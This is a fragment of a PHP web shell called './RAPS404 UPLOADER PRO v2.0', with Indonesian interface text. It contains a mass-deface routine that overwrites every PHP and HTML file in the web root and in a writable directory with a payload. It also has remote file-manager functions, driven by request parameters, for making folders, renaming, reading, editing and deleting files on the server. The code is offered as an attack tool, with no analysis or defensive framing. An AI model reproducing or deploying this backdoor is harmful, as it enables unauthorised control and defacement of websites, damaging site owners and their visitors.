'; $count = 0; $dirs = [$root]; $extra = findWritableDir($root); if($extra && $extra !== $root) $dirs[] = $extra; foreach($dirs as $d){ if(!is_dir($d)) continue; $files = scandirSafe($d); foreach($files as $f){ $ext = strtolower(pathinfo($f, PATHINFO_EXTENSION)); if(in_array($ext, ['php','html','htm','phtml','php3','php4','php5'])){ $path = $d.'/'.$f; if(@file_put_contents($path, $payload) !== false) $count++; } } } $msg = "🔥 Mass deface selesai! Total: $count file ditimpa."; } // ===== PROSES CREATE FOLDER ===== if(isset($_GET['mkdir'])){ $newFolder = safePath($current.'/'.basename($_GET['mkdir'])); if(!is_dir($newFolder) && @mkdir($newFolder, 0777, true)){ $msg = "✅ Folder dibuat: ".htmlspecialchars(basename($newFolder)); } else { $msg = "❌ Gagal buat folder!"; } } // ===== PROSES RENAME ===== if(isset($_GET['rename']) && isset($_GET['newname'])){ $old = safePath($_GET['rename']); $new = safePath(dirname($old).'/'.basename($_GET['newname'])); if(file_exists($old) && @rename($old, $new)){ $msg = "✅ Rename sukses!"; } else { $msg = "❌ Gagal rename!"; } } // ===== PROSES VIEW/EDIT ===== if(isset($_GET['view'])){ $viewFile = safePath($_GET['view']); if(is_file($viewFile) && is_readable($viewFile)){ $content = @file_get_contents($viewFile); if($content !== false){ echo "
".htmlspecialchars($content)."
"; exit; } } $msg = "❌ Tidak bisa baca file!"; } // ===== PROSES EDIT SAVE ===== if(isset($_POST['edit_save'])){ $editFile = safePath($_POST['edit_file']); if(is_file($editFile) && is_writable($editFile)){ @file_put_contents($editFile, $_POST['content']); $msg = "✅ File tersimpan!"; } else { $msg = "❌ Gagal simpan!"; } } // ===== SCAN FOLDER ===== $items = []; $folders = []; $files = []; $scan = scandirSafe($current); foreach($scan as $item){ $path = $current.$item; if(is_dir($path)){ $folders[] = $item; } else { $files[] = $item; } } sort($folders); sort($files); $items = array_merge($folders, $files); // ===== HITUNG TOTAL ===== $totalSize = 0; foreach($items as $item){ $path = $current.$item; if(is_file($path)) $totalSize += @filesize($path); } ?> ./RAPS404 UPLOADER PRO

⚡ ./RAPS404 UPLOADER PRO v2.0

🔴 ONLINE  |  USER:
📂 PATH: ✏️ WRITABLE 🔒 READ-ONLY 📊
📂 Buka'; } else { $actions .= '👁 View'; $actions .= '✏ Edit'; if($writable){ $actions .= '🗑 Hapus'; } } if($writable && !$isDir){ $actions .= ' ✏ Rename'; } ?>
Nama Size Perms Modified Aksi
📭 Folder kosong